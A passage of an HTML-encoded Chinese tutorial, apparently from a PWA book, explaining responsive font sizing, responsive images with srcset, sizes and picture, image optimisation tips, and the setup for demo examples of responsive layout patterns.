&#x4E2A;&#x5B57;&#x7B26;&#x3002;</p>\n<p>&#x5B57;&#x4F53;&#x5927;&#x5C0F;&#x5BF9;&#x9605;&#x8BFB;&#x4F53;&#x9A8C;&#x540C;&#x6837;&#x91CD;&#x8981;&#xFF0C;&#x57FA;&#x672C;&#x5B57;&#x4F53;&#x4E00;&#x822C;&#x4E0D;&#x5C0F;&#x4E8E; 16px&#xFF0C;&#x884C;&#x9AD8;&#x5927;&#x4E8E; 1.2em&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-css\"><span class=\"token selector\">p</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token property\">font-size</span><span class=\"token punctuation\">:</span> 16px<span class=\"token punctuation\">;</span>\n  <span class=\"token property\">line-height</span><span class=\"token punctuation\">:</span> 1.2em<span class=\"token punctuation\">;</span> <span class=\"token comment\">/* 1.2em = 19.2px */</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x800C;&#x8BBE;&#x5907;&#x7684;&#x5C3A;&#x5BF8;&#x591A;&#x79CD;&#x591A;&#x6837;&#xFF0C;&#x5982;&#x679C;&#x8BBE;&#x8BA1;&#x5E08;&#x5E0C;&#x671B;&#x5728;&#x5E73;&#x677F;&#x4E0A;&#x5C06;&#x5B57;&#x4F53;&#x8BBE;&#x7F6E;&#x4E3A; 18px&#xFF0C;&#x5F00;&#x53D1;&#x8005;&#x53EF;&#x4EE5;&#x4F7F;&#x7528;&#x524D;&#x9762;&#x8BB2;&#x5230;&#x7684; REM &#x548C;&#x5A92;&#x4F53;&#x67E5;&#x8BE2;&#xFF0C;&#x4EE3;&#x7801;&#x5982;&#x4E0B;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-css\"><span class=\"token comment\">/* &#x5728;&#x5C4F;&#x5E55;&#x5BBD;&#x5EA6;&#x5927;&#x4E8E; 600px &#x7684;&#x8BBE;&#x5907;&#x4E0A;&#x4F7F;&#x7528;&#x4E0B;&#x9762;&#x7684;&#x6837;&#x5F0F; */</span>\n<span class=\"token atrule\"><span class=\"token rule\">@media</span> only screen and <span class=\"token punctuation\">(</span><span class=\"token property\">min-width</span><span class=\"token punctuation\">:</span> 600px<span class=\"token punctuation\">)</span></span> <span class=\"token punctuation\">{</span>\n  <span class=\"token selector\">p</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token property\">font-size</span><span class=\"token punctuation\">:</span> 1.125rem<span class=\"token punctuation\">;</span> <span class=\"token comment\">/* 1.125rem = 16px * 1.125 = 18px */</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<h3 id=\"&#x54CD;&#x5E94;&#x5F0F;&#x56FE;&#x7247;\"><a name=\"&#x54CD;&#x5E94;&#x5F0F;&#x56FE;&#x7247;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x54CD;&#x5E94;&#x5F0F;&#x56FE;&#x7247;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x54CD;&#x5E94;&#x5F0F;&#x56FE;&#x7247;\" class=\"plugin-anchor\" href=\"#&#x54CD;&#x5E94;&#x5F0F;&#x56FE;&#x7247;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x54CD;&#x5E94;&#x5F0F;&#x56FE;&#x7247;</h3>\n<p>&#x4E00;&#x56FE;&#x80DC;&#x5343;&#x8A00;&#xFF0C;&#x56FE;&#x7247;&#x5360;&#x7F51;&#x9875;&#x6D41;&#x91CF;&#x6D88;&#x8017;&#x7684; 60%&#xFF0C;&#x53EF;&#x89C1;&#x5176;&#x5728; Web &#x7684;&#x91CD;&#x8981;&#x6027;&#x3002;&#x5728;&#x4E0A;&#x6587;&#x63D0;&#x5230;&#x56FE;&#x7247;&#x4E0D;&#x8981;&#x8D85;&#x51FA;&#x89C6;&#x53E3;&#x7684;&#x5BBD;&#x5EA6;&#xFF0C;&#x7ED9;&#x56FE;&#x7247;&#x8BBE;&#x7F6E; <code>max-width: 100%</code>&#xFF0C;&#x8FD9;&#x786E;&#x5B9E;&#x975E;&#x5E38;&#x6709;&#x4F5C;&#x7528;&#xFF0C;&#x90A3;&#x8FD8;&#x6709;&#x6CA1;&#x6709;&#x5176;&#x4ED6;&#x9700;&#x8981;&#x6211;&#x4EEC;&#x6CE8;&#x610F;&#x7684;&#x5462;&#x3002;</p>\n<h4 id=\"&#x56FE;&#x7247;&#x7684;&#x8D28;&#x91CF;\"><a name=\"&#x56FE;&#x7247;&#x7684;&#x8D28;&#x91CF;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x56FE;&#x7247;&#x7684;&#x8D28;&#x91CF;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x56FE;&#x7247;&#x7684;&#x8D28;&#x91CF;\" class=\"plugin-anchor\" href=\"#&#x56FE;&#x7247;&#x7684;&#x8D28;&#x91CF;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x56FE;&#x7247;&#x7684;&#x8D28;&#x91CF;</h4>\n<p>&#x73B0;&#x4EE3;&#x8BBE;&#x5907;&#x7684; DPR (&#x8BBE;&#x5907;&#x50CF;&#x7D20;&#x6BD4;&#xFF09;&#x90FD;&#x5F88;&#x9AD8;&#xFF0C;iPhone X &#x7684; DPR &#x662F; 3&#xFF0C;&#x56E0;&#x6B64;&#x5982;&#x679C;&#x6211;&#x4EEC;&#x7528; 375px &#x5BBD;&#x7684;&#x56FE;&#x7247;&#x5728; iPhone X &#x4E0A;&#x663E;&#x793A;&#xFF0C;&#x5B9E;&#x9645;&#x53EA;&#x80FD;&#x5229;&#x7528;&#x5B83;&#x4E09;&#x5206;&#x4E4B;&#x4E00;&#x7684;&#x8BBE;&#x5907;&#x50CF;&#x7D20;&#x70B9;&#xFF0C;&#x4F1A;&#x8BA9;&#x56FE;&#x7247;&#x770B;&#x8D77;&#x6765;&#x5F88;&#x6A21;&#x7CCA;&#xFF0C;&#x89C6;&#x89C9;&#x4F53;&#x9A8C;&#x8F83;&#x5DEE;&#x3002;&#x5982;&#x679C;&#x6211;&#x4EEC;&#x90FD;&#x7528; 3 &#x500D;&#x5206;&#x8FA8;&#x7387;&#x7684;&#x56FE;&#x7247;&#x6765;&#x663E;&#x793A;&#xFF0C;&#x5B9E;&#x9645;&#x5C4F;&#x5E55;&#x8F83;&#x5C0F;&#x7684;&#x8BBE;&#x5907;&#x65E0;&#x6CD5;&#x5B8C;&#x5168;&#x663E;&#x793A;&#x5982;&#x6B64;&#x9AD8;&#x6E05;&#x6670;&#x5EA6;&#x7684;&#x56FE;&#x7247;&#xFF0C;&#x5C31;&#x4F1A;&#x5728;&#x663E;&#x793A;&#x65F6;&#x8FDB;&#x884C;&#x538B;&#x7F29;&#xFF0C;&#x8FD9;&#x5BF9;&#x4E8E;&#x5B9E;&#x9645;&#x5C4F;&#x5E55;&#x6BD4;&#x8F83;&#x5C0F;&#x7684;&#x8BBE;&#x5907;&#x6765;&#x8BF4;&#x4F1A;&#x6D6A;&#x8D39;&#x8F83;&#x591A;&#x5E26;&#x5BBD;&#x3002;</p>\n<p>&#x4E3A;&#x6B64;&#xFF0C;&#x56FE;&#x7247;&#x8D28;&#x91CF;&#x4E5F;&#x9700;&#x8981;&#x80FD;&#x54CD;&#x5E94;&#x5F0F;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token comment\">&lt;!-- &#x54CD;&#x5E94;&#x5F0F;&#x56FE;&#x7247; --&gt;</span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>img</span>\n  <span class=\"token attr-name\">srcset</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>example-320w.jpg 320w,\n          example-480w.jpg 480w,\n          example-800w.jpg 800w<span class=\"token punctuation\">&quot;</span></span>\n  <span class=\"token attr-name\">sizes</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>(max-width: 320px) 280px,\n         (max-width: 480px) 440px,\n         800px<span class=\"token punctuation\">&quot;</span></span>\n  <span class=\"token attr-name\">src</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>example-800w.jpg<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">alt</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>An example image<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x8FD9;&#x91CC; <code>sizes</code> &#x548C; <code>srcset</code> &#x5F88;&#x591A;&#x5F00;&#x53D1;&#x8005;&#x6BD4;&#x8F83;&#x964C;&#x751F;&#x3002;&#x5728;&#x517C;&#x5BB9;&#x6027;&#x4E0D;&#x597D;&#x7684;&#x6D4F;&#x89C8;&#x5668;&#x91CC;&#xFF0C;&#x4F1A;&#x7EE7;&#x7EED;&#x4F7F;&#x7528;&#x9ED8;&#x8BA4; <code>src</code> &#x5C5E;&#x6027;&#x4E2D;&#x7684;&#x56FE;&#x7247;&#x3002;</p>\n<p><strong><code>srcset</code></strong></p>\n<p>&#x5B9A;&#x4E49;&#x4E86;&#x51E0;&#x7EC4;&#x56FE;&#x7247;&#x548C;&#x5BF9;&#x5E94;&#x7684;&#x5C3A;&#x5BF8;&#xFF0C;&#x683C;&#x5F0F;&#x6BD4;&#x8F83;&#x7B80;&#x5355;&#xFF0C;&#x4E3B;&#x8981;&#x7684;&#x4E24;&#x4E2A;&#x90E8;&#x5206;&#x662F;&#x56FE;&#x7247;&#x5730;&#x5740;&#x548C;&#x56FE;&#x7247;&#x56FA;&#x6709;&#x5BBD;&#x5EA6;&#xFF0C;&#x5355;&#x4F4D;&#x4E3A;&#x50CF;&#x7D20;&#xFF0C;&#x4F46;&#x662F;&#x8FD9;&#x91CC;&#x4F7F;&#x7528; <code>w</code> &#x4EE3;&#x66FF; <code>px</code>&#x3002;</p>\n<p><strong><code>sizes</code></strong></p>\n<p>&#x5B9A;&#x4E49;&#x4E86;&#x4E00;&#x7EC4;&#x5A92;&#x4F53;&#x67E5;&#x8BE2;&#x6761;&#x4EF6;&#xFF0C;&#x5E76;&#x4E14;&#x6307;&#x540D;&#x4E86;&#x5982;&#x679C;&#x6EE1;&#x8DB3;&#x5A92;&#x4F53;&#x67E5;&#x8BE2;&#x6761;&#x4EF6;&#x4E4B;&#x540E;&#xFF0C;&#x4F7F;&#x7528;&#x7279;&#x5B9A;&#x5C3A;&#x5BF8;&#x7684;&#x56FE;&#x7247;&#x3002;</p>\n<p>&#x5982;&#x679C;&#x5F00;&#x53D1;&#x8005;&#x4E66;&#x5199;&#x4E86;&#x4E0A;&#x9762;&#x4EE3;&#x7801;&#x4E2D;&#x7684;&#x56FE;&#x7247;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x4F1A;&#x6839;&#x636E;&#x4E0B;&#x9762;&#x7684;&#x987A;&#x5E8F;&#x52A0;&#x8F7D;&#x56FE;&#x7247;&#x3002;</p>\n<ol>\n<li>&#x83B7;&#x53D6;&#x8BBE;&#x5907;&#x89C6;&#x53E3;&#x5BBD;&#x5EA6;</li>\n<li>&#x4ECE;&#x4E0A;&#x5230;&#x4E0B;&#x627E;&#x5230;&#x7B2C;&#x4E00;&#x4E2A;&#x4E3A;&#x771F;&#x7684;&#x5A92;&#x4F53;&#x67E5;&#x8BE2;</li>\n<li>&#x83B7;&#x53D6;&#x8BE5;&#x6761;&#x4EF6;&#x5BF9;&#x5E94;&#x7684;&#x56FE;&#x7247;&#x5C3A;&#x5BF8;</li>\n<li>&#x52A0;&#x8F7D; <code>srcset</code> &#x4E2D;&#x6700;&#x63A5;&#x8FD1;&#x8FD9;&#x4E2A;&#x5C3A;&#x5BF8;&#x7684;&#x56FE;&#x7247;&#x5E76;&#x663E;&#x793A;</li>\n</ol>\n<p>&#x6240;&#x4EE5;&#xFF0C;&#x5982;&#x679C;&#x6211;&#x4EEC;&#x5728;&#x89C6;&#x53E3;&#x5BBD;&#x5EA6;&#x4E3A; 375px &#x7684;&#x8BBE;&#x5907;&#x4E0A;&#xFF0C;&#x4F1A;&#x91C7;&#x7528;&#x6700;&#x63A5;&#x8FD1; 440px &#x7684;&#x56FE;&#x7247;&#xFF0C;<code>example-480w.jpg</code>&#x3002;</p>\n<p>&#x5982;&#x679C;&#x5BF9; <code>srcset</code> &#x548C; <code>sizes</code> &#x8FD8;&#x60F3;&#x4E86;&#x89E3;&#x66F4;&#x591A;&#xFF0C;&#x53EF;&#x4EE5;&#x8BBF;&#x95EE; MDN &#x7684;&#x6587;&#x6863;<a href=\"https://developer.mozilla.org/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images\" target=\"_blank\">&#x300A;&#x54CD;&#x5E94;&#x5F0F;&#x56FE;&#x7247;&#x300B;</a>&#x3002;</p>\n<h4 id=\"&#x56FE;&#x7247;&#x827A;&#x672F;&#x65B9;&#x5411;\"><a name=\"&#x56FE;&#x7247;&#x827A;&#x672F;&#x65B9;&#x5411;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x56FE;&#x7247;&#x827A;&#x672F;&#x65B9;&#x5411;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x56FE;&#x7247;&#x827A;&#x672F;&#x65B9;&#x5411;\" class=\"plugin-anchor\" href=\"#&#x56FE;&#x7247;&#x827A;&#x672F;&#x65B9;&#x5411;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x56FE;&#x7247;&#x827A;&#x672F;&#x65B9;&#x5411;</h4>\n<p>&#x6211;&#x4EEC;&#x63D0;&#x5230;&#x5C06;&#x56FE;&#x7247;&#x7684; <code>max-width</code> &#x8BBE;&#x7F6E;&#x4E3A; 100%&#xFF0C;&#x56FE;&#x7247;&#x5C31;&#x4F1A;&#x5728;&#x624B;&#x673A;&#x5C4F;&#x5E55;&#x4E0A;&#x538B;&#x7F29;&#x5230;&#x89C6;&#x53E3;&#x7684;&#x5BBD;&#x5EA6;&#xFF0C;&#x5982;&#x679C;&#x8FD9;&#x5F20;&#x56FE;&#x7247;&#x5B9E;&#x9645;&#x4E0A;&#x5F88;&#x5927;&#xFF0C;&#x56FE;&#x7247;&#x4E2D;&#x7684;&#x5185;&#x5BB9;&#x5C31;&#x4F1A;&#x770B;&#x4E0D;&#x6E05;&#xFF0C;&#x7279;&#x522B;&#x662F;&#x5982;&#x679C;&#x56FE;&#x7247;&#x4E3B;&#x8981;&#x5185;&#x5BB9;&#x96C6;&#x4E2D;&#x5728;&#x4E2D;&#x95F4;&#xFF0C;&#x5982;&#x4EBA;&#x50CF;&#xFF0C;&#x6D4F;&#x89C8;&#x6548;&#x679C;&#x4F1A;&#x6BD4;&#x8F83;&#x5DEE;&#x3002;&#x9047;&#x5230;&#x8FD9;&#x6837;&#x7684;&#x60C5;&#x51B5;&#xFF0C;&#x6700;&#x597D;&#x7684;&#x65B9;&#x5F0F;&#x662F;&#x5728;&#x4E0D;&#x540C;&#x7684;&#x5C4F;&#x5E55;&#x5C3A;&#x5BF8;&#x4E0B;&#x91C7;&#x7528;&#x4E0D;&#x540C;&#x7684;&#x56FE;&#x7247;&#xFF0C;&#x8BA9;&#x4E3B;&#x8981;&#x5185;&#x5BB9;&#x4FDD;&#x6301;&#x5728;&#x89C6;&#x53E3;&#x4E2D;&#x95F4;&#xFF0C;&#x5982;&#x4E0B;&#x56FE;&#x3002;</p>\n<p><img src=\"img/art_direction_2x.png\" alt=\"&#x827A;&#x672F;&#x65B9;&#x5411;&#x793A;&#x610F;&#x56FE;&#xFF0C;&#x56FE;&#x7247;&#x6765;&#x6E90;&#x4E8E; https://developers.google.com/web/fundamentals/design-and-ux/responsive/images\"></p>\n<p>HTML &#x6807;&#x51C6;&#x4E2D;&#x6709;&#x4E00;&#x4E2A;&#x6807;&#x7B7E; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>picture</span><span class=\"token punctuation\">&gt;</span></span></code>&#xFF0C;&#x5141;&#x8BB8;&#x6211;&#x4EEC;&#x5728;&#x5176;&#x4E2D;&#x8BBE;&#x7F6E;&#x591A;&#x4E2A;&#x56FE;&#x7247;&#x6765;&#x6E90;&#xFF0C;&#x5C31;&#x548C; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>video</span><span class=\"token punctuation\">&gt;</span></span></code>&#xFF0C;<code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>audio</span><span class=\"token punctuation\">&gt;</span></span></code> &#x6807;&#x7B7E;&#x4E00;&#x6837;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>picture</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>source</span> <span class=\"token attr-name\">media</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>(max-width: 799px)<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">srcset</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>example-480w-portrait.jpg<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>source</span> <span class=\"token attr-name\">media</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>(min-width: 800px)<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">srcset</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>example-800w.jpg<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>img</span> <span class=\"token attr-name\">src</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>example-800w.jpg<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">alt</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>An example img<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>picture</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p><code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>picture</span><span class=\"token punctuation\">&gt;</span></span></code> &#x6807;&#x7B7E;&#x7684;&#x4F5C;&#x7528;&#x548C;&#x4E0A;&#x9762;&#x5728; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>img</span><span class=\"token punctuation\">&gt;</span></span></code> &#x4E2D;&#x8BBE;&#x7F6E; <code>sizes</code> &#x548C; <code>srcset</code> &#x4E00;&#x6837;&#xFF0C;&#x90FD;&#x80FD;&#x5728;&#x4E0D;&#x540C;&#x7684;&#x8BBE;&#x5907;&#x5BBD;&#x5EA6;&#x4E0B;&#x663E;&#x793A;&#x4E0D;&#x540C;&#x7684;&#x56FE;&#x7247;&#xFF0C;&#x7B14;&#x8005;&#x66F4;&#x5EFA;&#x8BAE;&#x4F7F;&#x7528; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>picture</span><span class=\"token punctuation\">&gt;</span></span></code> &#x5B9E;&#x73B0;&#x6B64;&#x6548;&#x679C;&#x3002;</p>\n<h4 id=\"&#x56FE;&#x7247;&#x7684;&#x5176;&#x4ED6;&#x6CE8;&#x610F;&#x4E8B;&#x9879;\"><a name=\"&#x56FE;&#x7247;&#x7684;&#x5176;&#x4ED6;&#x6CE8;&#x610F;&#x4E8B;&#x9879;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x56FE;&#x7247;&#x7684;&#x5176;&#x4ED6;&#x6CE8;&#x610F;&#x4E8B;&#x9879;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x56FE;&#x7247;&#x7684;&#x5176;&#x4ED6;&#x6CE8;&#x610F;&#x4E8B;&#x9879;\" class=\"plugin-anchor\" href=\"#&#x56FE;&#x7247;&#x7684;&#x5176;&#x4ED6;&#x6CE8;&#x610F;&#x4E8B;&#x9879;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x56FE;&#x7247;&#x7684;&#x5176;&#x4ED6;&#x6CE8;&#x610F;&#x4E8B;&#x9879;</h4>\n<p>&#x54CD;&#x5E94;&#x5F0F;&#x5E03;&#x5C40;&#x5728; PWA &#x4E2D;&#x662F;&#x975E;&#x5E38;&#x91CD;&#x8981;&#x7684;&#x6982;&#x5FF5;&#xFF0C;&#x5728;&#x5B9E;&#x73B0;&#x54CD;&#x5E94;&#x5F0F;&#x7684;&#x540C;&#x65F6;&#xFF0C;&#x8FD8;&#x9700;&#x8981;&#x5173;&#x6CE8;&#x54CD;&#x5E94;&#x5F0F;&#x56FE;&#x7247;&#x662F;&#x5426;&#x4F1A;&#x5E26;&#x6765;&#x6027;&#x80FD;&#x95EE;&#x9898;&#x3002;&#x5728;&#x5F00;&#x53D1;&#x8FC7;&#x7A0B;&#x4E2D;&#xFF0C;&#x8FD8;&#x9700;&#x8981;&#x6CE8;&#x610F;&#x4E0B;&#x9762;&#x51E0;&#x4E2A;&#x95EE;&#x9898;&#x3002;</p>\n<ol>\n<li>&#x5BF9;&#x56FE;&#x7247;&#x8FDB;&#x884C;&#x61D2;&#x52A0;&#x8F7D;</li>\n<li>&#x5BF9;&#x4E8E;&#x5C0F;&#x7684;&#x7B80;&#x5355;&#x7684;&#x56FE;&#x7247;&#xFF0C;&#x53EF;&#x4EE5;&#x4F7F;&#x7528;&#x77E2;&#x91CF;&#x56FE;&#x6216;&#x8005;&#x5B57;&#x4F53;&#xFF0C;&#x4FDD;&#x8BC1;&#x5728;&#x4E0D;&#x540C;&#x5C3A;&#x5BF8;&#x8BBE;&#x5907;&#x4E0B;&#x90FD;&#x5F88;&#x6E05;&#x6670;</li>\n<li>&#x5BF9;&#x4E8E;&#x5C3A;&#x5BF8;&#x5C0F;&#x7684;&#x56FE;&#x7247;&#xFF0C;&#x53EF;&#x4EE5;&#x4F7F;&#x7528; Data URI &#x7684;&#x65B9;&#x5F0F;&#xFF0C;&#x5C06;&#x56FE;&#x7247;&#x8F6C;&#x6210; base64 &#x5185;&#x8054;&#x5728; CSS &#x6216;&#x8005; HTML &#x4E2D;&#xFF0C;&#x907F;&#x514D;&#x8BF7;&#x6C42;&#xFF0C;&#x4F46;&#x8FD9;&#x6837;&#x540C;&#x6837;&#x65E0;&#x6CD5;&#x5229;&#x7528; HTTP &#x7F13;&#x5B58;&#xFF0C;&#x56E0;&#x6B64;&#x4E00;&#x822C;&#x53EA;&#x5BF9;&#x5C0F;&#x4E8E; 1.5K &#x7684;&#x56FE;&#x7247;&#x505A;&#x5904;&#x7406;</li>\n<li>&#x6311;&#x9009;&#x6070;&#x5F53;&#x7684;&#x56FE;&#x7247;&#x683C;&#x5F0F;&#xFF0C;PNG&#xFF0C;JPEG &#x7B49;&#xFF0C;&#x53EF;&#x4EE5;&#x5728; Android &#x4E0B;&#x4F7F;&#x7528; WebP &#x683C;&#x5F0F;</li>\n<li>&#x5BF9;&#x56FE;&#x7247;&#x8FDB;&#x884C;&#x538B;&#x7F29;&#x548C;&#x4F18;&#x5316;</li>\n<li>&#x91C7;&#x7528; CSS &#x548C; CSS &#x52A8;&#x753B;&#x4EE3;&#x66FF;&#x4E00;&#x4E9B;&#x7B80;&#x5355;&#x7684;&#x56FE;&#x7247;&#x548C;&#x52A8;&#x6001;&#x56FE;&#xFF0C;&#x5982;&#x52A0;&#x8F7D;&#x4E2D; GIF &#x56FE;</li>\n</ol>\n<h3 id=\"&#x54CD;&#x5E94;&#x5F0F;&#x5E03;&#x5C40;_1\"><a name=\"&#x54CD;&#x5E94;&#x5F0F;&#x5E03;&#x5C40;_1\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x54CD;&#x5E94;&#x5F0F;&#x5E03;&#x5C40;_1\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x54CD;&#x5E94;&#x5F0F;&#x5E03;&#x5C40;\" class=\"plugin-anchor\" href=\"#&#x54CD;&#x5E94;&#x5F0F;&#x5E03;&#x5C40;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x54CD;&#x5E94;&#x5F0F;&#x5E03;&#x5C40;</h3>\n<p>&#x5229;&#x7528;&#x76F8;&#x5BF9;&#x5355;&#x4F4D;&#x3001;flexbox&#x3001;&#x5A92;&#x4F53;&#x67E5;&#x8BE2;&#x7B49;&#x6280;&#x672F;&#xFF0C;&#x5F00;&#x53D1;&#x8005;&#x80FD;&#x5E94;&#x4ED8;&#x5404;&#x79CD;&#x7C7B;&#x578B;&#x7684;&#x9875;&#x9762;&#x548C;&#x5E03;&#x5C40;&#xFF0C;&#x4E3A;&#x4E86;&#x65B9;&#x4FBF;&#x5F00;&#x53D1;&#x8005;&#x80FD;&#x591F;&#x5FEB;&#x901F;&#x4E0A;&#x624B;&#xFF0C;&#x4E0B;&#x9762;&#x4ECB;&#x7ECD; 5 &#x79CD;&#x5E38;&#x89C1;&#x7684;&#x54CD;&#x5E94;&#x5F0F;&#x5E03;&#x5C40;&#x6A21;&#x5F0F;&#x3002;&#x8FD9;&#x4E9B;&#x6A21;&#x5F0F;&#x6700;&#x521D;&#x7531; <a href=\"https://www.lukew.com/ff/entry.asp?1514\" target=\"_blank\">Luke Wroblewski</a> &#x603B;&#x7ED3;&#x5E76;&#x63D0;&#x51FA;&#x3002;</p>\n<p>&#x4E3A;&#x4E86;&#x66F4;&#x597D;&#x7684;&#x7406;&#x89E3;&#x8FD9;&#x4E9B;&#x54CD;&#x5E94;&#x5F0F;&#x5E03;&#x5C40;&#xFF0C;&#x7B14;&#x8005;&#x51C6;&#x5907;&#x4E86; 5 &#x4E2A;&#x4F8B;&#x5B50;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-bash\"><span class=\"token comment\"># &#x4ECE; GitHub &#x4E0B;&#x8F7D;&#x4EE3;&#x7801;&#x5230;&#x672C;&#x5730; pwa-book-demo &#x76EE;&#x5F55;</span>\n$ <span class=\"token function\">git</span> clone https://github.com/lavas-project/pwa-book-demo.git\n\n<span class=\"token comment\"># &#x8FDB;&#x5165;&#x5230; chapter02/responsive-web-design &#x76EE;&#x5F55;</span>\n$ <span class=\"token function\">cd</span> chapter02/responsive-web-design\n\n<span class=\"token comment\"># &#x5B89;&#x88C5; npm &#x4F9D;&#x8D56;</span>\n$ <span class=\"token function\">npm</span> <span class=\"token function\">install</span> -g edp\n\n<span class=\"token comment\"># &#x542F;&#x52A8; chapter02 responsive-web-design &#x793A;&#x4F8B;</span>\n$ edp ws start\n</code></pre>\n<p>&#x542F;&#x52A8;&#x5B8C;&#x6210;&#x4E4B;&#x540E;&#xFF0C;&#x8BBF;&#x95EE; <code>http://localhost:8848/</code> &#x80FD;&#x770B;&#x5230; 5 &#x4E2A;&#x4E0D;&#x540C;&#x7684;&#x76EE;&#x5F55;&#xFF0C;&#x5982; mostly-fluid&#xFF0C;&#x70B9;&#x51FB;&#x76EE;&#x5F55;&#x91CC;&#x7684; <code>index.html</code> &#x5C31;&#x80FD;&#x770B;&#x5230;&#x4E0D;&#x540C;&#x6A21;&#x5F0F;&#x7684;&#x6548;&#x679C;&#xFF0C;&#x5C1D;&#x8BD5;&#x62D6;&#x52A8;&#x6539;&#x53D8;&#x6D4F;&#x89C8;&#x5668;&#x7684;&#x5927;&#x5C0F;&#x5427;&#x3002;</p>\n<h4 id=\"&#x7B2C;&#x4E00;&#x79CD;&#xFF1A;&#x5927;&#x4F53;&#x6D41;&#x52A8;&#xFF08;mostly-fluid&#xFF09;\"><a name=\"&#x7B2C;&#x4E00;&#x79CD;&#xFF1A;&#x5927;&#x4F53;&#x6D41;&#x52A8;&#xFF08;mostly-fluid&#xFF09;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x7B2C;&#x4E00;&#x79CD;&#xFF1A;&#x5927;&#x4F53;&#x6D41;&#x52A8;&#xFF08;mostly-fluid&#xFF09;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x7B2C;&#x4E00;&#x79CD;&#xFF1A;&#x5927;&#x4F53;&#x6D41;&#x52A8;&#xFF08;mostly-fluid&#xFF09;\" class=\"plugin-anchor\" href=\"#&#x7B2C;&#x4E00;&#x79CD;&#xFF1A;&#x5927;&#x4F53;&#x6D41;&#x52A8;&#xFF08;mostly-fluid&#xFF09;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x7B2C;&#x4E00;&#x79CD;&#xFF1A;&#x5927;&#x4F53;&#x6D41;&#x52A8;&#xFF08;Mostly 